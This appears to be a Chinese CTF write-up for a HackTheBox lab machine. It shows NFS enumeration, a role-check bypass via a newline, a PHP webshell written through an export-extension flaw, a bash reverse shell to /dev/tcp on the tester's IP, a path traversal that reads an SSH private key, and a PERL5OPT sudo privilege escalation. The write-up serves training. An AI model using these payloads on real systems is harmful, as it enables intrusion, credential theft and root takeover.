文章目录
信息搜集
nmap扫描一下端口
nmap -sV -sC -v -p- --min-rate 1000 10.10.11.232
扫描结果
22/tcp open ssh
80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) //重定向
111/tcp open rpcbind 2-4 (RPC #100000)
我们往下看发现启用了nfs协议
去网上查询下相关资料 参考文章
NFS最大的功能就是可以透过网络,让不同的机器、不同的操作系统、可以彼此分享个别的档案(share files)。所以,你也可以简单地将它看做是一个文件服务器(file server)。这个NFS服务器可以让你的PC来将网络远程的NFS服务器分享的目录,挂载到本地端的机器当中,在本地端的机器看起来,那个远程主机的目录就好像是自己的一个磁盘分区槽一样(partition),使用上相当的便利。
既然可以远程读取文件,那么我们使用mount命令将远程NFS文件系统挂载到本地目录
在本地创建目录mnt/nfs_file
,然后读取根目录文件
sudo mount -o nolock 10.10.11.232:/ ~/test/mnt/nfs_file
注:-o
:指定挂载选项,比如读写权限、访问权限等
nolock
是在挂载 NFS 文件系统时的一种选项,用于禁用文件锁定机制,使得同时进行读写操作不受文件锁定限制
我们ls一下,发现zip文件
解压发现不行,用cp命令复制到本地即可
由于80端口出现重定向,那么我们添加域名到/etc/hosts
开始进行下一步
代码审计
我们在admin.php注意到有对session进行身份验证,如果验证失败则重定向到index.php
那么我们尝试得到admin的session,接着在save_game.php找到可利用的地方
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
简单分析一下,可以通过foreach对GET参数进行遍历,如果$key
不为role(不区分大小写),那么$args[$key] = $value;
进行赋值,调用save_profile函数去更新session,修改成功则返回Game has been saved!
这里我们搜索一下$_SESSION['PLAYER']
是怎么来的,发现是由username决定的也就是登陆者身份
那么我们可以借助GET传参role=Admin
来更新并得到admin的session,但要绕过if (strtolower($key) === 'role')
判断
这里本地测试发现,利用换行符%0a
就行了
反弹shell
我们随便注册登录后点击play进入游戏,然后save的时候抓包
放行,提示修改成功
然后退出重新登录,发现多了一个功能
点进去看看发现有四个用户
有个导出表格export选项,点击得到保存的路径
访问一下
我们抓包看看保存的过程发现拓展名可控
尝试修改为php成功
既然可以修改为php后缀,那么我们寻找下写马的位置。很明显,保存的数据中只有nickname可以让我们写马,而如何修改nickname的值就和刚刚修改role一样的办法
点击play,然后save的时候抓包
(注意?
要url编码一下)
然后还是一样回显保存成功,那么说明成功写入马
继续按照刚刚那样抓包修改导出拓展名为php,然后访问保存路径成功RCE
我们将反弹shell命令url编码一下,然后执行
?1=bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E74%2F1028%200%3E%261%22
成功反弹shell
我们尝试访问/home/jack
发现不行,接着在/opt/manage
发现可疑文件
貌似是二进制文件execute_query的使用说明
我们在连接的靶机开启http服务,使用wget命令下载下来该二进制文件
然后丢到ida里F5反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
size_t v5; // rax
size_t v6; // rbx
size_t v7; // rax
int v8; // [rsp+10h] [rbp-B0h]
char *dest; // [rsp+18h] [rbp-A8h]
char *name; // [rsp+20h] [rbp-A0h]
char *command; // [rsp+28h] [rbp-98h]
char s[32]; // [rsp+30h] [rbp-90h] BYREF
char src[88]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v14; // [rsp+A8h] [rbp-18h]
v14 = __readfsqword(0x28u);
if ( argc > 1 )
{
v8 = atoi(argv[1]);
dest = (char *)calloc(0x14uLL, 1uLL);
switch ( v8 )
{
case 0:
puts("ERROR: Invalid arguments");
return 2;
case 1:
strncpy(dest, "create.sql", 0x14uLL);
goto LABEL_10;
case 2:
strncpy(dest, "populate.sql", 0x14uLL);
goto LABEL_10;
case 3:
strncpy(dest, "reset_password.sql", 0x14uLL);
goto LABEL_10;
case 4:
strncpy(dest, "clean.sql", 0x14uLL);
goto LABEL_10;
default:
strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
strcpy(s, "/home/jack/queries/");
v4 = strlen(s);
v5 = strlen(dest);
name = (char *)calloc(v4 + v5 + 1, 1uLL);
strcat(name, s);
strcat(name, dest);
setreuid(0x3E8u, 0x3E8u);
if ( access(name, 4) )
{
puts("File not readable or not found");
}
else
{
strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
v6 = strlen(src);
v7 = strlen(dest);
command = (char *)calloc(v6 + v7 + 1, 1uLL);
strcat(command, src);
strcat(command, name);
system(command);
}
result = 0;
break;
}
}
else
{
puts("ERROR: not enough arguments");
return 1;
}
return result;
}
然后就卡住了,于是参考下国外师傅写的wp是去读取了jack的id_rsa私钥
这里的参数5是因为在上述代码中如果不为1234中的一个,就会执行第三个命令行参数 argv[2]
的内容复制到 dest
变量中
default:
strncpy(dest, argv[2], 0x14uLL);
然后拼接文件路径,然后检查文件是否可读。如果文件不可读或者不存在,程序会输出 "File not readable or not found"。否则,将会构建一个 MySQL 命令并执行它,因为拼接的路径为/home/jack/queries/
,所以要先返回上一级目录
payload如下
./execute_query 5 ../.ssh/id_rsa
成功读取
将这一长串保存下来命名为id_rsa
由于为了确保私钥的安全性,私钥文件应该只对所有者有读写权限
chmod 600 id_rsa
然后注意OpenSSH内容格式不对,所以将三个-
修改为五个
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAB...
-----END OPENSSH PRIVATE KEY-----
直接ssh连接,得到user的flag
ssh -i id_rsa jack@10.10.11.232
提权
我们sudo发现有monitor.sh,然后cat看下具体内容
这里注意到两个文件/usr/bin/xml_pp
和/usr/bin/echo
(后者并没有什么特殊用处)
而我们跟进/usr/bin/xml_pp
发现是perl脚本运行
通过搜索得知一种名为perl_startup的提权方式 参考文章
我们直接给monitor.sh赋予/bin/bash
权限
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
//u+s表示给user用户添加权限,即/bin/bash
然后再bash -p
即可(用于启用特权模式(privileged mode)的一个选项,保留有效用户的特权和权限)
得到root的flag